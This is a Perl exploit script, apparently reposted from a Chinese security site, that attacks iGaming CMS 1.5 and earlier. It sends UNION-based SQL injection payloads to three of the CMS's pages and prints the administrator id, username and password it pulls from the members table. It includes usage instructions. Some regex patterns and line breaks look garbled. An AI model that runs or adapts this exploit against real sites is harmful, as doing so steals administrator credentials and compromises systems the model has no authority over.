#!/usr/bin/perl
# ----------------------------------------------------------
# iGaming <= 1.5 Multiple Remote SQL Injection Exploit
# Perl Exploit - Output: id:admin:password
# Discovered On: 23/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Proud To Be Italian
# ----------------------------------------------------------
# Usage: perl exploit.pl http://localhost/iGaming
# ----------------------------------------------------------use strict;
use LWP::UserAgent;my ($one,$two,$exec,$host,$http,$xxx,$view);$view  = "' union select 0,0,1,2,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),0,6,7,8 from sp_members WHERE id='1/*";
$exec  = "' union select 1,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),3 from sp_members where id='1/*";
$host = shift @ARGV;
$http = new LWP::UserAgent or die $!;
$http->agent("Mozilla/4.5 [en] (Win95; U)");
$http->timeout(1);
                          if($host !~ /^http:\/\/(. ?)$/)
{
  print "[?] iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploit\n";
  print "[?] Usage: perl $0 http://[path]\n";
  exit;
}
else
{
  $one = $http->get($host.'/previews.php?browse='.$exec);
  $two = $http->get($host.'/reviews.php?browse='.$exec);
  $xxx = $http->get($host.'/index.php?do=viewarticle&id='.$view);
  
  if($one->is_success or $two->is_success or $xxx->is_success)
  {
    die "$1\n" if $one->content =~ /%(. ?)%/;
    die "$1\n" if $two->content =~ /%(. ?)%/;
    die "$1\n" if $xxx->content =~ /%(. ?)%/;
  }
  else
  {
    die "[ ] Exploit Failed!\n";
  }
}   

来源：https://www.jb51.net/hack/5623.html
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！